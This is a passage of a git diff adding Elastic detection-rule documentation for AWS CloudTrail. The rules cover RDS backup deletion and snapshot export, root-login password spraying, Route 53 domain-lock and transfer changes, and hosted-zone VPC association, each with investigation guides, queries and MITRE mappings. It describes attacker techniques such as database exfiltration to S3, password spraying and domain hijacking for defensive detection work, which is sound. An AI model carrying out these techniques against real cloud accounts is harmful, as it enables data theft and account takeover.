housekeeping tools** + - Backup or housekeeping services may manage snapshots and retention. This rule already excludes typical `backup.amazonaws.com` events, but you should: + - Identify any additional in-house or third-party automation roles. + - Tune the rule with exceptions based on `user_agent.original`, `aws.cloudtrail.user_identity.arn`, or known service roles. + + +*Response and remediation* + + +- **Contain and restore protection** + - If activity appears unauthorized: + - Immediately review the affected DB instances and clusters and restore `backupRetentionPeriod` to an appropriate value. + - Verify that deletion protection and other guardrails are enabled where applicable. + - For snapshot deletions, assess: + - Whether alternate snapshots (manual or automated) are still available. + - Whether point-in-time recovery is still possible based on transaction logs and remaining backups. + +- **Investigate scope and impact** + - Use CloudTrail to: + - Enumerate all recent snapshot deletions and backup configuration changes by the same actor or from the same `source.ip`. + - Identify any subsequent `DeleteDBInstance`, `DeleteDBCluster`, or public exposure (`publiclyAccessible=true`) events. + - Engage the application and data owners to: + - Evaluate potential data loss, downtime impact, and regulatory implications. + - Determine if any sensitive or compliance-bound data may be unrecoverable. + +- **Hardening and preventive controls** + - Restrict RDS administration: + - Limit `rds:DeleteDBSnapshot`, `rds:DeleteDBClusterSnapshot`, and `rds:ModifyDBInstance` (especially backup and deletion-related parameters) to a small set of privileged roles. + - Use IAM conditions (e.g., `aws:PrincipalArn`, `aws:RequestedRegion`) to constrain where and by whom destructive actions can be performed. + - Add guardrails: + - Use AWS Config rules and/or Security Hub controls to detect: + - Instances with `backupRetentionPeriod=0`. + - Instances lacking deletion protection or cross-region/cross-AZ backup strategy. + - Consider SCPs in AWS Organizations to block or tightly control destructive RDS APIs in production accounts. + +- **Post-incident improvements** + - If malicious or unsafe behavior is confirmed: + - Rotate credentials for the involved principals and review STS session usage. + - Update runbooks and change management to explicitly track snapshot and backup policy changes. + - Refine this rule’s exceptions, tags, or severity to better align with your environment while preserving coverage for truly risky events. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "aws.cloudtrail" + and event.provider == "rds.amazonaws.com" + and event.outcome == "success" + and ( + event.action in ("DeleteDBSnapshot", "DeleteDBClusterSnapshot") or + (event.action == "ModifyDBInstance" and stringContains(aws.cloudtrail.request_parameters, "backupRetentionPeriod=0")) + ) + and not ( + user_agent.original == "backup.amazonaws.com" + and source.address == "backup.amazonaws.com" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rds-snapshot-export.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rds-snapshot-export.asciidoc new file mode 100644 index 0000000000..e466e68be6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rds-snapshot-export.asciidoc @@ -0,0 +1,205 @@ +[[prebuilt-rule-8-19-34-aws-rds-snapshot-export]] +=== AWS RDS Snapshot Export + +Identifies the export of a DB snapshot or DB cluster data to Amazon S3. Snapshot exports can be used for analytics or migration workflows, but adversaries may abuse them to exfiltrate sensitive data outside of RDS-managed storage. Exporting a snapshot creates a portable copy of the database contents, which, if performed without authorization, can indicate data theft, staging for exfiltration, or operator misconfiguration that exposes regulated information. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_StartExportTask.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Use Case: Asset Visibility +* Tactic: Collection +* Tactic: Exfiltration +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS RDS + +*Version*: 215 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS RDS Snapshot Export* + + +Exporting an RDS snapshot to Amazon S3 allows the full contents of a database to be written outside the managed +RDS service boundary. While legitimate for analytics or migration, this action can also be a mechanism for data +exfiltration. Because snapshot exports produce files that can be downloaded, shared, or accessed by other AWS principals, +unauthorized exports may indicate staging for data theft or attempts to bypass database access controls. + +This rule detects successful `StartExportTask` events. Activity of this type should be validated to ensure that only +authorized database, platform engineering, or analytics workflows initiated the export. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine which principal initiated the export. + - Look at `source.ip`, `user.name`, and `user_agent.original` to understand where the export originated (console, CLI, SDK, automation). + - Check whether the principal has historically performed snapshot exports. + +- **Determine what was exported** + - Examine `aws.cloudtrail.request_parameters`: + - Snapshot identifier being exported. + - S3 bucket name and path. + - KMS key used (or absence of encryption). + - Map the snapshot and destination bucket to: + - Application/owner team. + - Environment (prod/staging/dev). + - Data classification (PII, PHI, PCI, internal). + +- **Reconstruct timing and surrounding context** + - Use `@timestamp` to correlate the export with: + - Recent RDS modifications (`ModifyDBInstance`, `ModifyDBCluster`), snapshot deletions, or retention changes. + - IAM role changes, access key issuance, or privilege escalation attempts. + - Unusual authentication patterns (e.g., successful logins from new locations, failed console logins). + - Check whether the export timing aligns with approved deployments or maintenance windows. + +- **Correlate with broader CloudTrail activity** + - Pivot on the same user, role, or access key ID to look for: + - Prior reconnaissance (e.g., `DescribeDBSnapshots`, `DescribeDBClusters`, `ListBuckets`). + - Permission changes (`PutRolePolicy`, `AttachUserPolicy`). + - Public exposure (e.g., S3 bucket ACL changes). + - Determine whether multiple snapshots were exported around the same time. + +- **Validate intent with stakeholders** + - Confirm with the database owner, analytics team, or platform engineering team whether: + - The export was planned and authorized. + - The target S3 bucket is approved for storing database contents. + - Encryption and access controls meet organizational policy. + + +*False positive analysis* + + +- **Authorized data analytics or ETL workflows** + - Many organizations export snapshots for reporting, ML pipelines, or external data processing. + - Validate that the export aligns with documented ETL or analytics processes. + +- **Automated snapshot export tools** + - Backup pipelines, cost optimization, or data replication systems may export snapshots. + - Tune the rule by excluding known IAM roles or automation user agents. + +- **CloudFormation or IaC triggers** + - Infrastructure-as-code pipelines may trigger snapshot exports as part of stack updates. + - Correlate with CloudFormation events to confirm legitimacy. + + +*Response and remediation* + + +- **Contain potential exfiltration** + - Review access to the destination S3 bucket and confirm that: + - Bucket is encrypted with the expected KMS key. + - Access is restricted to authorized principals. + - No unusual downloads or cross-account accesses occurred. + +- **Investigate scope and impact** + - Use CloudTrail to enumerate: + - All export tasks started by the same actor. + - Other snapshot or data-access API calls in the same time window. + - Validate whether sensitive or regulated data may have been included. + +- **Credential and access remediation** + - If activity appears unauthorized: + - Revoke or rotate compromised IAM credentials. + - Review STS session activity related to the actor. + - Inspect IAM role policies for privilege escalation. + +- **Hardening and preventive controls** + - Restrict the ability to call `StartExportTask` using: + - IAM least-privilege policies. + - Service Control Policies (SCPs) in production accounts. + - Conditional IAM (e.g., requiring MFA, restricting by VPC endpoint or IP range). + - Enable guardrails: + - AWS Config/Security Hub controls for monitoring snapshot policy changes. + - Alerts for exports to buckets outside approved accounts. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: rds.amazonaws.com + and event.action: StartExportTask + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Databases +** ID: T1213.006 +** Reference URL: https://attack.mitre.org/techniques/T1213/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-root-console-login-password-spraying.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-root-console-login-password-spraying.asciidoc new file mode 100644 index 0000000000..be7e63828e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-root-console-login-password-spraying.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-34-aws-root-console-login-password-spraying]] +=== AWS Root Console Login Password Spraying + +Identifies failed authentication attempts against the AWS Management Console root user from the same source IP address targeting multiple AWS accounts. Password spraying uses few attempts per target across many accounts to avoid lockout, making per-account volume an unreliable signal. This rule detects the cross-account breadth pattern: a single source IP generating root ConsoleLogin failures across two or more distinct AWS accounts. Requires an AWS Organizations-level CloudTrail trail aggregating events from member accounts. + +*Rule type*: threshold + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://securitylabs.datadoghq.com/articles/aws-root-user-bruteforce-campaign/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Domain: Identity +* Platform: AWS +* Data Source: AWS CloudTrail +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Rule Type: Threshold +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Root Console Login Password Spraying* + + +Password spraying is a credential access technique where an attacker tries a small number of commonly used or leaked passwords across many accounts. Unlike brute force, the per-account attempt count is intentionally low — often 2–8 attempts — to stay below lockout thresholds and evade high-volume detections. Attackers targeting AWS root accounts typically hold a pre-enumerated list of root account email addresses and route attempts through proxy or residential IP infrastructure. + +This rule fires when a single source IP generates failed root `ConsoleLogin` events against two or more distinct AWS accounts within a 1 hour window, requiring an AWS Organizations-level CloudTrail trail. The cross-account breadth is the defining spray signal; brute force against a single account is covered by a separate rule. + + +*Possible investigation steps* + + +- **Assess the source IP.** +Determine whether the IP belongs to a known corporate range, VPN, or expected admin location. Use threat intelligence tools to check if it is flagged as a proxy, Tor exit node, or residential proxy service. + +- **Review the user agent string.** +Outdated browser user agents (for example, Chrome 85 or Firefox 120) are common indicators of spray-campaign tooling. Cross-reference `user_agent.original` across the contributing events in Timeline. + +- **Check for a subsequent successful login.** +Query CloudTrail for a `ConsoleLogin` success for the root identity in the same timeframe. A success immediately after failures indicates the spray succeeded — escalate immediately. + +- **Examine follow-on API calls.** +If a successful login did occur, review high-risk API calls that followed: `CreateUser`, `CreateAccessKey`, `AttachRolePolicy`, `DeleteTrail`, or `StopLogging`. + +- **Widen the scope across accounts.** +If your organization uses AWS Organizations, check whether the same source IP triggered root login failures in other member accounts during the same window. + + +*False positive analysis* + + +- **Mistyped credentials.** A root credential custodian mistyping the password multiple times is the most likely benign cause. Confirm whether the source IP is a known admin location and whether a successful login followed shortly after. +- **Stale automation.** Misconfigured scripts or browser sessions with cached root credentials may retry on failure. Check whether the user agent matches known internal tooling. + + +*Response and remediation* + + +- **If no successful root login is found:** + - Rotate the root password to a strong, unique credential stored in an offline vault. + - Confirm MFA is enabled and enforced on the root account. + - Block the source IP at AWS WAF or network ACLs if confirmed malicious. + +- **If a successful root login is found:** + - Treat as Priority-1 account compromise and immediately follow the *AWS Management Console Root Login* investigation guide. + - Initiate an emergency root password reset and MFA re-enrollment. + - Preserve all CloudTrail events from ±1 hour around the login in an immutable evidence bucket. + - Audit all API calls made during the session for persistence: new users, access keys, policy changes. + + +*Additional information* + + +- https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html[AWS root user best practices] +- https://github.com/aws-samples/aws-incident-response-playbooks[AWS IR Playbooks — Credential Compromise] + + +==== Setup + + + +*Setup* + + +This rule requires an AWS Organizations-level CloudTrail trail that aggregates management events from all member accounts into a single destination. A single-account trail will only ever contain one `cloud.account.id` value and the cross-account cardinality signal will never fire. + +To configure an org-level trail: in the AWS CloudTrail console, create a trail scoped to your AWS Organization and enable it in all regions. Ensure the Elastic AWS integration is ingesting from the aggregated trail destination. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:aws.cloudtrail and +event.provider:signin.amazonaws.com and +event.action:ConsoleLogin and +aws.cloudtrail.user_identity.type:Root and +event.outcome:failure + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-route-53-domain-transfer-lock-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-route-53-domain-transfer-lock-disabled.asciidoc new file mode 100644 index 0000000000..f07a84e55e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-route-53-domain-transfer-lock-disabled.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-34-aws-route-53-domain-transfer-lock-disabled]] +=== AWS Route 53 Domain Transfer Lock Disabled + +Identifies when the transfer lock on an AWS Route 53 domain is disabled. The transfer lock protects domains from being moved to another registrar or AWS account without authorization. Disabling this lock removes an important safeguard against domain hijacking. Adversaries who gain access to domain-management permissions may disable the lock as a precursor to unauthorized domain transfer, takeover, or service disruption. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/Route53/latest/APIReference/API_Operations_Amazon_Route_53.html +* https://docs.aws.amazon.com/Route53/latest/APIReference/API_domains_DisableDomainTransferLock.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Route 53 +* Use Case: Asset Visibility +* Tactic: Persistence +* Tactic: Resource Development +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Route 53 + +*Version*: 214 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Route 53 Domain Transfer Lock Disabled* + + +This rule detects when the `DisableDomainTransferLock` operation succeeds for a managed Route 53 domain. The transfer lock +prevents unauthorized domain transfers, and disabling it is an uncommon operation outside of planned migrations. Because +domains often underpin production workloads (web, API, authentication, email), unauthorized transfer lock changes may +indicate adversary preparation for domain hijacking or service disruption. + +This event should be treated with high urgency whenever it occurs unexpectedly. + + +*Possible investigation steps* + + +- **Review the actor** + - Examine `aws.cloudtrail.user_identity.arn` and `user_identity.access_key_id` to confirm who + initiated the change. Validate whether this identity normally performs domain-management tasks. + +- **Analyze the request context** + - Review `aws.cloudtrail.request_parameters` to identify which domain was affected. + - Confirm no corresponding `operation=TransferDomainToAnotherAwsAccount` or registrar-level modifications occurred + shortly before or after the lock was disabled. + - Note the timestamp and evaluate whether the change occurred during maintenance windows or outside business hours. + +- **Evaluate activity surrounding the lock disablement** + - Look for subsequent events such as modifications to contact details, attempted transfers, DNS record changes, or updates to hosted zones. Correlate with unusual IAM role usage, newly issued access keys, or anomalous login behavior. + +- **Validate intent with responsible teams** + - Confirm whether stakeholders (network operations, domain owners, infrastructure leads) initiated or approved the + transfer lock disablement. If unmanaged or unexpected, treat this as a potentially malicious action. + + +*False positive analysis* + + +- **Authorized transfer preparation** + - The most common legitimate case is preparation for a planned transfer of ownership or registrar migration. Ensure the + change aligns with a ticketed and approved operation. + +- **Internal domain restructuring** + - Organizational changes (e.g., merging AWS accounts, consolidating DNS assets) may require disabling the lock. Check + for documented work items or migration plans. + +- **Automated tooling** + - Rare but possible: Some internal automation used for domain lifecycle management may disable the lock as part of an + update. Validate that any automation using administrative API credentials is documented and approved. + + +*Response and remediation* + + +- **Re-enable the transfer lock immediately if unauthorized** + - Restore the lock from Route 53 to prevent any pending or future unauthorized transfer attempts. + +- **Contain potential credential compromise** + - If the action is suspicious, rotate credentials for the user or role involved and enforce MFA. + +- **Audit for related domain-level modifications** + - Review CloudTrail logs for: + - attempted domain transfers, + - contact profile changes, + - hosted zone modifications, + - DNS record updates, + - IAM privilege escalations. + +- **Engage internal owners** + - Notify domain owners, infosec leadership, and operations teams; determine business impact and next steps. + +- **Strengthen governance** + - Limit domain-management permissions to the minimum set of authorized administrators. + - Consider implementing AWS Organizations service control policies (SCPs) to prevent domain-level actions except + through designated accounts. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: route53domains.amazonaws.com + and event.action: DisableDomainTransferLock + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Compromise Infrastructure +** ID: T1584 +** Reference URL: https://attack.mitre.org/techniques/T1584/ +* Sub-technique: +** Name: Domains +** ID: T1584.001 +** Reference URL: https://attack.mitre.org/techniques/T1584/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-route-53-domain-transferred-to-another-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-route-53-domain-transferred-to-another-account.asciidoc new file mode 100644 index 0000000000..3f73ebecbc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-route-53-domain-transferred-to-another-account.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-aws-route-53-domain-transferred-to-another-account]] +=== AWS Route 53 Domain Transferred to Another Account + +Identifies when an AWS Route 53 domain is transferred to another AWS account. Transferring a domain changes administrative control of the DNS namespace, enabling the receiving account to modify DNS records, route traffic, request certificates, and potentially hijack operational workloads. Adversaries who gain access to privileged IAM users or long-lived credentials may leverage domain transfers to establish persistence, redirect traffic, conduct phishing, or stage infrastructure for broader attacks. This rule detects successful domain transfer requests. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/Route53/latest/APIReference/API_Operations_Amazon_Route_53.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Route 53 +* Use Case: Asset Visibility +* Tactic: Persistence +* Tactic: Resource Development +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Route 53 + +*Version*: 213 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Route 53 Domain Transferred to Another Account* + + +Transferring a Route 53 domain to another AWS account is a high-impact administrative action. A successful transfer enables the +recipient account to fully manage the domain and all associated DNS resources. Unauthorized transfers can result in loss of +visibility and control, traffic redirection, service outages, or domain hijacking for phishing, credential harvesting, or command-and-control. + +This rule detects successful calls to `TransferDomainToAnotherAwsAccount`. These events are rare and should be considered +high-risk unless explicitly documented and approved. + + +*Possible investigation steps* + + +- **Identify the actor and authentication context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who initiated the transfer. Determine whether the actor typically performs Route 53 administrative actions or if this represents anomalous behavior. + +- **Review request details and target account** + - Inspect `aws.cloudtrail.request_parameters` for: `DomainName`, `AccountId` receiving the transfer, Request tokens or validation parameters. Validate whether the destination AWS account is recognized, trusted, or documented in ownership transfer procedures. + +- **Assess environment and timing** + - Compare `@timestamp` against maintenance windows, deployment pipelines, or approved domain operations. Review the region and endpoint used; domain transfers occurring from unexpected regions may indicate unauthorized access. + +- **Analyze source and execution context** + - Review `source.ip`, `source.geo.country_iso_code`, and `user_agent.original` to determine: + - If the request originated from known networks, Whether it matches typical administrator access patterns or if suspicious automation tools, outdated SDK versions, or unknown agents were used. + +- **Correlate with broader activity** + - Pivot on the same IAM principal or access key ID to identify: + - Recent IAM policy changes or privilege escalation + - `DisableDomainTransferLock`, which normally precedes domain transfers + - AWS console sign-ins from new geolocations or ASNs + - API calls involving certificate requests, hosted zone changes, or DNS record edits + - Look for evidence of lateral movement or credential theft preceding the transfer. + +- **Validate with business owners** + - Confirm with domain owners, development teams, or asset managers whether The transfer was intentional. + + +*False positive analysis* + + +- **Expected domain migrations** + - Organizations with multi-account strategies may transfer domains between operational, security, or sandbox accounts. +- **Business events** + - Mergers, acquisitions, or contractual transitions between managed service providers often involve bulk domain transfers. +- **Automated administrative tooling** + - Domain lifecycle automation or infrastructure-as-code pipelines may trigger transfers if misconfigured. + + +*Response and remediation* + + +- **Contain and revoke access** + - If unauthorized, immediately invalidate the IAM session or access keys used in the transfer. + - Rotate credentials for the implicated IAM user or role and require MFA for privileged operations. + +- **Reverse or halt the transfer** + - Contact AWS Support as soon as possible to request assistance reversing or blocking the transfer if it was not approved. + - Re-enable transfer lock (`DisableDomainTransferLock=false`) to prevent further modifications. + +- **Investigate the extent of compromise** + - Review CloudTrail to identify all actions performed by the actor before and after the transfer. + - Check for additional changes to hosted zones, DNS records, certificates, or registrar contact details. + +- **Restore operational integrity** + - Validate DNS routing, certificate issuance, and application endpoints for signs of redirection or tampering. + - Communicate with impacted teams and external stakeholders if customer-facing domains were affected. + +- **Hardening and long-term improvements** + - Restrict domain transfer permissions to a minimal set of roles using IAM Conditions such as `aws:PrincipalArn` and `aws:MultiFactorAuthPresent` + - Consider SCPs to block domain-transfer APIs in production accounts. + - Add change-management tracking for domain ownership modifications. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: route53domains.amazonaws.com + and event.action: TransferDomainToAnotherAwsAccount + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Compromise Infrastructure +** ID: T1584 +** Reference URL: https://attack.mitre.org/techniques/T1584/ +* Sub-technique: +** Name: Domains +** ID: T1584.001 +** Reference URL: https://attack.mitre.org/techniques/T1584/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-route-53-private-hosted-zone-associated-with-a-vpc.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-route-53-private-hosted-zone-associated-with-a-vpc.asciidoc new file mode 100644 index 0000000000..2fffe9bce6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-route-53-private-hosted-zone-associated-with-a-vpc.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-34-aws-route-53-private-hosted-zone-associated-with-a-vpc]] +=== AWS Route 53 Private Hosted Zone Associated With a VPC + +Identifies when an AWS Route 53 private hosted zone is associated with a new Virtual Private Cloud (VPC). Private hosted zones restrict DNS resolution to specific VPCs, and associating additional VPCs expands the scope of what networks can resolve internal DNS records. Adversaries with sufficient permissions may associate unauthorized VPCs to intercept, observe, or reroute internal traffic, establish persistence, or expand their visibility within an AWS environment. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/Route53/latest/APIReference/API_AssociateVPCWithHostedZone.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Route 53 +* Tactic: Persistence +* Tactic: Resource Development +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal + +*Version*: 215 + +*Rule authors*: + +* Austin Songer +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Route 53 Private Hosted Zone Associated With a VPC* + + +Route 53 private hosted zones provide internal DNS capabilities accessible only to the VPCs explicitly associated with +them. Associating a new VPC expands DNS visibility and access. If an adversary gains sufficient IAM permissions, they may +attach unauthorized VPCs to privileged hosted zones to perform internal reconnaissance, intercept service discovery, +redirect traffic, or gain persistence by manipulating internal name resolution. + +This rule detects successful `AssociateVPCWithHostedZone` events where a hosted zone's visibility scope is modified. + + +*Possible investigation steps* + + +- **Identify the Actor** + - Review `aws.cloudtrail.user_identity.arn` and `access_key_id` to determine who initiated the association. Validate whether this identity is expected to manage Route 53 or VPC networking. + +- **Review Request Details** + - Examine `aws.cloudtrail.request_parameters` to confirm which hosted zone and VPC were associated. Determine if the hosted zone contains sensitive internal service records, privileged DNS, or identity service endpoints. + +- **Validate the VPC** + - Identify whether the associated VPC belongs to an authorized environment (e.g., known production, staging, or internal networks). Check for unusual VPC creation events, cross-account VPC behavior, or recently observed anomalous resource provisioning. + +- **Assess Source Context** + - Inspect `source.ip` and `user_agent.original` for geographic anomalies, automation patterns, or suspicious tooling. + - Look for correlations with unusual IAM activity, privilege escalations, or policy modifications. + +- **Correlate With Broader Activity** + - Search for additional changes involving the same identity, including: + - Route 53 hosted zone modifications + - VPC peering creation + - Network ACL or security group changes + - IAM privilege modifications + - Identify whether this association is part of a larger sequence suggesting lateral movement or internal reconnaissance. + +- **Engage Relevant Teams** + - If initiated by a user, confirm intent with networking or cloud infrastructure teams. Validate whether the association aligns with deployment, migration, or environment expansion activities. + + +*False positive analysis* + + +- **Routine Infrastructure Updates** + - Associations may occur during normal environment expansions (new VPC for microservices, deployments, region expansion). + +- **Automated Tooling** + - Infrastructure-as-code pipelines 